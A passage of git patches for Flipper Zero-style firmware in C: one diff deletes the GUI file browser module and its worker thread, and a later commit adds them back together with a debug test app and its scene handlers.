(int32_t)model->item_cnt - bounds, 0); - } - - return false; - }); -} - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - int32_t load_offset = 0; - - with_view_model( - browser->view, (FileBrowserModel * model) { - if(is_root) { - model->item_cnt = item_cnt; - model->item_idx = (file_idx > 0) ? file_idx : 0; - load_offset = - CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); - } else { - model->item_cnt = item_cnt + 1; - model->item_idx = file_idx + 1; - load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); - } - model->array_offset = 0; - model->list_offset = 0; - model->is_root = is_root; - model->list_loading = true; - model->folder_loading = false; - return true; - }); - browser_update_offset(browser); - - file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); -} - -static void browser_list_load_cb(void* context, uint32_t list_load_offset) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t back_item; - BrowserItem_t_init(&back_item); - back_item.type = BrowserItemTypeBack; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->array_offset = list_load_offset; - if(!model->is_root) { - if(list_load_offset == 0) { - items_array_push_back(model->items, back_item); - } else { - model->array_offset += 1; - } - } - return false; - }); - - BrowserItem_t_clear(&back_item); -} - -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t item; - - if(!is_last) { - BrowserItem_t_init(&item); - string_set(item.path, item_path); - item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_push_back(model->items, item); - return false; - }); - BrowserItem_t_clear(&item); - } else { - with_view_model( - browser->view, (FileBrowserModel * model) { - model->list_loading = false; - return true; - }); - } -} - -static void browser_long_load_cb(void* context) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->folder_loading = true; - return true; - }); -} - -static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); - - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot( - canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); -} - -static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { - uint8_t width = 49; - uint8_t height = 47; - uint8_t x = 128 / 2 - width / 2; - uint8_t y = 64 / 2 - height / 2; - - UNUSED(model); - - elements_bold_rounded_frame(canvas, x, y, width, height); - - canvas_set_font(canvas, FontSecondary); - elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); - - canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); -} - -static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { - uint32_t array_size = items_array_size(model->items); - bool show_scrollbar = model->item_cnt > LIST_ITEMS; - - string_t filename; - string_init(filename); - - for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { - int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); - - BrowserItemType item_type = BrowserItemTypeLoading; - - if(browser_is_item_in_array(model, idx)) { - BrowserItem_t* item = items_array_get( - model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); - item_type = item->type; - file_browser_worker_get_filename( - item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); - } else { - string_set_str(filename, "---"); - } - - if(item_type == BrowserItemTypeBack) { - string_set_str(filename, ". ."); - } - - elements_string_fit_width( - canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); - - if(model->item_idx == idx) { - browser_draw_frame(canvas, i, show_scrollbar); - } else { - canvas_set_color(canvas, ColorBlack); - } - - if((item_type == BrowserItemTypeFile) && (model->file_icon)) { - canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); - } else if(BrowserItemIcons[item_type] != NULL) { - canvas_draw_icon( - canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); - } - canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); - } - - if(show_scrollbar) { - elements_scrollbar_pos( - canvas, - 126, - Y_OFFSET, - canvas_height(canvas) - Y_OFFSET, - model->item_idx, - model->item_cnt); - } - - string_clear(filename); -} - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { - FileBrowserModel* model = _model; - - if(model->folder_loading) { - browser_draw_loading(canvas, model); - } else { - browser_draw_list(canvas, model); - } -} - -static bool file_browser_view_input_callback(InputEvent* event, void* context) { - FileBrowser* browser = context; - furi_assert(browser); - bool consumed = false; - bool is_loading = false; - - with_view_model( - browser->view, (FileBrowserModel * model) { - is_loading = model->folder_loading; - return false; - }); - - if(is_loading) { - return false; - } else if(event->key == InputKeyUp || event->key == InputKeyDown) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - with_view_model( - browser->view, (FileBrowserModel * model) { - if(event->key == InputKeyUp) { - model->item_idx = - ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } else if(event->key == InputKeyDown) { - model->item_idx = (model->item_idx + 1) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } - return true; - }); - browser_update_offset(browser); - consumed = true; - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypeShort) { - BrowserItem_t* selected_item = NULL; - int32_t select_index = 0; - with_view_model( - browser->view, (FileBrowserModel * model) { - if(browser_is_item_in_array(model, model->item_idx)) { - selected_item = - items_array_get(model->items, model->item_idx - model->array_offset); - select_index = model->item_idx; - if((!model->is_root) && (select_index > 0)) { - select_index -= 1; - } - } - return false; - }); - - if(selected_item) { - if(selected_item->type == BrowserItemTypeBack) { - file_browser_worker_folder_exit(browser->worker); - } else if(selected_item->type == BrowserItemTypeFolder) { - file_browser_worker_folder_enter( - browser->worker, selected_item->path, select_index); - } else if(selected_item->type == BrowserItemTypeFile) { - string_set(*(browser->result_path), selected_item->path); - if(browser->callback) { - browser->callback(browser->context, true); - } - } - } - consumed = true; - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypeShort) { - bool is_root = false; - with_view_model( - browser->view, (FileBrowserModel * model) { - is_root = model->is_root; - return false; - }); - if(!is_root) { - file_browser_worker_folder_exit(browser->worker); - } - consumed = true; - } - } - - return consumed; -} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h deleted file mode 100644 index b77c6e65c..000000000 --- a/applications/gui/modules/file_browser.h +++ /dev/null @@ -1,39 +0,0 @@ -/** - * @file file_browser.h - * GUI: FileBrowser view module API - */ - -#pragma once - -#include "m-string.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context, bool state); - -FileBrowser* file_browser_alloc(string_t* result_path); - -void file_browser_free(FileBrowser* browser); - -View* file_browser_get_view(FileBrowser* browser); - -void file_browser_configure( - FileBrowser* browser, - char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext); - -void file_browser_start(FileBrowser* browser, string_t path); - -void file_browser_stop(FileBrowser* browser); - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c deleted file mode 100644 index 13fc97111..000000000 --- a/applications/gui/modules/file_browser_worker.c +++ /dev/null @@ -1,420 +0,0 @@ -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "m-string.h" -#include "storage/filesystem_api_defines.h" -#include -#include -#include -#include -#include - -#define TAG "BrowserWorker" - -#define ASSETS_DIR "assets" -#define BROWSER_ROOT "/any" -#define FILE_NAME_LEN_MAX 256 -#define LONG_LOAD_THRESHOLD 100 - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtLoad = (1 << 1), - WorkerEvtFolderEnter = (1 << 2), - WorkerEvtFolderExit = (1 << 3), -} WorkerEvtFlags; - -#define WORKER_FLAGS_ALL \ - (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) - -ARRAY_DEF(idx_last_array, int32_t) - -struct BrowserWorker { - FuriThread* thread; - - string_t filter_extension; - string_t path_next; - int32_t item_sel_idx; - uint32_t load_offset; - uint32_t load_count; - bool skip_assets; - idx_last_array_t idx_last; - - void* cb_ctx; - BrowserWorkerFolderOpenCallback folder_cb; - BrowserWorkerListLoadCallback list_load_cb; - BrowserWorkerListItemCallback list_item_cb; - BrowserWorkerLongLoadCallback long_load_cb; -}; - -static bool browser_path_is_file(string_t path) { - bool state = false; - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if((file_info.flags & FSF_DIRECTORY) == 0) { - state = true; - } - } - furi_record_close("storage"); - return state; -} - -static bool browser_path_trim(string_t path) { - bool is_root = false; - size_t filename_start = string_search_rchar(path, '/'); - string_left(path, filename_start); - if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { - string_set_str(path, BROWSER_ROOT); - is_root = true; - } - return is_root; -} - -static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { - if(is_folder) { - // Skip assets folders (if enabled) - if(browser->skip_assets) { - return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); - } else { - return true; - } - } else { - // Filter files by extension - if((string_empty_p(browser->filter_extension)) || - (string_cmp_str(browser->filter_extension, "*") == 0)) { - return true; - } - if(string_end_with_string_p(name, browser->filter_extension)) { - return true; - } - } - return false; -} - -static bool browser_folder_check_and_switch(string_t path) { - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - bool is_root = false; - while(1) { - // Check if folder is existing and navigate back if not - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if(file_info.flags & FSF_DIRECTORY) { - break; - } - } - if(is_root) { - break; - } - is_root = browser_path_trim(path); - } - furi_record_close("storage"); - return is_root; -} - -static bool browser_folder_init( - BrowserWorker* browser, - string_t path, - string_t filename, - uint32_t* item_cnt, - int32_t* file_idx) { - bool state = false; - FileInfo file_info; - uint32_t total_files_cnt = 0; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - *item_cnt = 0; - *file_idx = -1; - - if(storage_dir_open(directory, string_get_cstr(path))) { - state = true; - while(1) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { - total_files_cnt++; - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - if(!string_empty_p(filename)) { - if(string_cmp(name_str, filename) == 0) { - *file_idx = *item_cnt; - } - } - (*item_cnt)++; - } - if(total_files_cnt == LONG_LOAD_THRESHOLD) { - if(browser->long_load_cb) { - browser->long_load_cb(browser->cb_ctx); - } - } - } - } - } - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return state; -} - -static bool - browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { - FileInfo file_info; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - uint32_t items_cnt = 0; - - do { - if(!storage_dir_open(directory, string_get_cstr(path))) { - break; - } - - items_cnt = 0; - while(items_cnt < offset) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - items_cnt++; - } - } else { - break; - } - } - if(items_cnt != offset) { - break; - } - - if(browser->list_load_cb) { - browser->list_load_cb(browser->cb_ctx, offset); - } - - items_cnt = 0; - while(items_cnt < count) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); - if(browser->list_item_cb) { - browser->list_item_cb( - browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); - } - items_cnt++; - } - } else { - break; - } - } - if(browser->list_item_cb) { - browser->list_item_cb(browser->cb_ctx, NULL, false, true); - } - } while(0); - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return (items_cnt == count); -} - -static int32_t browser_worker(void* context) { - BrowserWorker* browser = (BrowserWorker*)context; - furi_assert(browser); - FURI_LOG_D(TAG, "Start"); - - uint32_t items_cnt = 0; - string_t path; - string_init_set_str(path, BROWSER_ROOT); - browser->item_sel_idx = -1; - - // If start path is a path to the file - try finding index of this file in a folder - string_t filename; - string_init(filename); - if(browser_path_is_file(browser->path_next)) { - file_browser_worker_get_filename(browser->path_next, filename, false); - } - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); - - while(1) { - uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); - furi_assert((flags & osFlagsError) == 0); - - if(flags & WorkerEvtFolderEnter) { - string_set(path, browser->path_next); - bool is_root = browser_folder_check_and_switch(path); - - // Push previous selected item index to history array - idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - FURI_LOG_D( - TAG, - "Enter folder: %s items: %u idx: %d", - string_get_cstr(path), - items_cnt, - file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - string_reset(filename); - } - - if(flags & WorkerEvtFolderExit) { - browser_path_trim(path); - bool is_root = browser_folder_check_and_switch(path); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - if(idx_last_array_size(browser->idx_last) > 0) { - // Pop previous selected item index from history array - idx_last_array_pop_back(&file_idx, browser->idx_last); - } - FURI_LOG_D( - TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - } - - if(flags & WorkerEvtLoad) { - FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); - browser_folder_load(browser, path, browser->load_offset, browser->load_count); - } - - if(flags & WorkerEvtStop) { - break; - } - } - - string_clear(filename); - string_clear(path); - - FURI_LOG_D(TAG, "End"); - return 0; -} - -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { - BrowserWorker* browser = malloc(sizeof(BrowserWorker)); - - idx_last_array_init(browser->idx_last); - - string_init_set_str(browser->filter_extension, filter_ext); - browser->skip_assets = skip_assets; - string_init_set(browser->path_next, path); - - browser->thread = furi_thread_alloc(); - furi_thread_set_name(browser->thread, "BrowserWorker"); - furi_thread_set_stack_size(browser->thread, 2048); - furi_thread_set_context(browser->thread, browser); - furi_thread_set_callback(browser->thread, browser_worker); - furi_thread_start(browser->thread); - - return browser; -} - -void file_browser_worker_free(BrowserWorker* browser) { - furi_assert(browser); - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); - furi_thread_join(browser->thread); - furi_thread_free(browser->thread); - - string_clear(browser->filter_extension); - string_clear(browser->path_next); - - idx_last_array_clear(browser->idx_last); - - free(browser); -} - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { - furi_assert(browser); - browser->cb_ctx = context; -} - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb) { - furi_assert(browser); - browser->folder_cb = cb; -} - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb) { - furi_assert(browser); - browser->list_load_cb = cb; -} - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb) { - furi_assert(browser); - browser->list_item_cb = cb; -} - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb) { - furi_assert(browser); - browser->long_load_cb = cb; -} - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { - furi_assert(browser); - string_set(browser->path_next, path); - browser->item_sel_idx = item_idx; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); -} - -void file_browser_worker_folder_exit(BrowserWorker* browser) { - furi_assert(browser); - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); -} - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { - furi_assert(browser); - browser->load_offset = offset; - browser->load_count = count; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); -} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h deleted file mode 100644 index 821d5103f..000000000 --- a/applications/gui/modules/file_browser_worker.h +++ /dev/null @@ -1,57 +0,0 @@ -#pragma once - -#include "m-string.h" -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct BrowserWorker BrowserWorker; -typedef void (*BrowserWorkerFolderOpenCallback)( - void* context, - uint32_t item_cnt, - int32_t file_idx, - bool is_root); -typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); -typedef void (*BrowserWorkerListItemCallback)( - void* context, - string_t item_path, - bool is_folder, - bool is_last); -typedef void (*BrowserWorkerLongLoadCallback)(void* context); - -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); - -void file_browser_worker_free(BrowserWorker* browser); - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb); - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb); - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb); - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb); - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); - -void file_browser_worker_folder_exit(BrowserWorker* browser); - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); - -#ifdef __cplusplus -} -#endif From 297ce8b1cc7d493b1a69fcc4132c4bc0344967ab Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 27 May 2022 17:30:44 +0300 Subject: [PATCH 232/461] fff --- .../file_browser_test/file_browser_app.c | 99 ++++ .../file_browser_test/file_browser_app_i.h | 32 ++ .../scenes/file_browser_scene.c | 30 + .../scenes/file_browser_scene.h | 29 + .../scenes/file_browser_scene_browser.c | 45 ++ .../scenes/file_browser_scene_config.h | 3 + .../scenes/file_browser_scene_result.c | 36 ++ .../scenes/file_browser_scene_start.c | 44 ++ applications/gui/modules/file_browser.c | 532 ++++++++++++++++++ applications/gui/modules/file_browser.h | 39 ++ .../gui/modules/file_browser_worker.c | 420 ++++++++++++++ .../gui/modules/file_browser_worker.h | 57 ++ 12 files changed, 1366 insertions(+) create mode 100644 applications/debug_tools/file_browser_test/file_browser_app.c create mode 100644 applications/debug_tools/file_browser_test/file_browser_app_i.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c create mode 100644 applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c create mode 100644 applications/gui/modules/file_browser.c create mode 100644 applications/gui/modules/file_browser.h create mode 100644 applications/gui/modules/file_browser_worker.c create mode 100644 applications/gui/modules/file_browser_worker.h diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c new file mode 100644 index 000000000..a408f5cde --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -0,0 +1,99 @@ +#include "assets_icons.h" +#include "file_browser_app_i.h" +#include "gui/modules/file_browser.h" +#include "m-string.h" +#include +#include +#include +#include + +static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool file_browser_app_back_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void file_browser_app_tick_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +FileBrowserApp* file_browser_app_alloc(char* arg) { + UNUSED(arg); + FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); + + app->gui = furi_record_open("gui"); + app->dialogs = furi_record_open("dialogs"); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + + app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); + + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, file_browser_app_tick_event_callback, 500); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, file_browser_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, file_browser_app_back_event_callback); + + app->widget = widget_alloc(); + + string_init(app->file_path); + app->file_browser = file_browser_alloc(&(app->file_path)); + file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); + + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); + + return app; +} + +void file_browser_app_free(FileBrowserApp* app) { + furi_assert(app); + + // Views + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); + widget_free(app->widget); + file_browser_free(app->file_browser); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + // Close records + furi_record_close("gui"); + furi_record_close("notification"); + furi_record_close("dialogs"); + + string_clear(app->file_path); + + free(app); +} + +int32_t file_browser_app(void* p) { + FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); + + view_dispatcher_run(file_browser_app->view_dispatcher); + + file_browser_app_free(file_browser_app); + return 0; +} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h new file mode 100644 index 000000000..6e8412c9b --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app_i.h @@ -0,0 +1,32 @@ +#pragma once + +#include "scenes/file_browser_scene.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct FileBrowserApp FileBrowserApp; + +struct FileBrowserApp { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + DialogsApp* dialogs; + Widget* widget; + FileBrowser* file_browser; + + string_t file_path; +}; + +typedef enum { + FileBrowserAppViewStart, + FileBrowserAppViewBrowser, + FileBrowserAppViewResult, +} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c new file mode 100644 index 000000000..72a6e84d7 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c @@ -0,0 +1,30 @@ +#include "file_browser_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const file_browser_scene_on_enter_handlers[])(void*) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const file_browser_scene_on_exit_handlers[])(void* context) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers file_browser_scene_handlers = { + .on_enter_handlers = file_browser_scene_on_enter_handlers, + .on_event_handlers = file_browser_scene_on_event_handlers, + .on_exit_handlers = file_browser_scene_on_exit_handlers, + .scene_num = FileBrowserSceneNum, +}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h new file mode 100644 index 000000000..d690fca9f --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, +typedef enum { +#include "file_browser_scene_config.h" + FileBrowserSceneNum, +} FileBrowserScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers file_browser_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "file_browser_scene_config.h" +#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c new file mode 100644 index 000000000..9c570cec0 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -0,0 +1,45 @@ +#include "../file_browser_app_i.h" +#include "furi/check.h" +#include "furi/log.h" +#include "furi_hal.h" +#include "m-string.h" + +#define DEFAULT_PATH "/" +#define EXTENSION "*" + +bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +static void file_browser_callback(void* context, bool state) { + FileBrowserApp* app = context; + furi_assert(app); + view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); + + UNUSED(state); +} + +void file_browser_scene_browser_on_enter(void* context) { + FileBrowserApp* app = context; + + file_browser_set_callback(app->file_browser, file_browser_callback, app); + + file_browser_start(app->file_browser, app->file_path); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); +} + +void file_browser_scene_browser_on_exit(void* context) { + FileBrowserApp* app = context; + + file_browser_stop(app->file_browser); +} diff --git 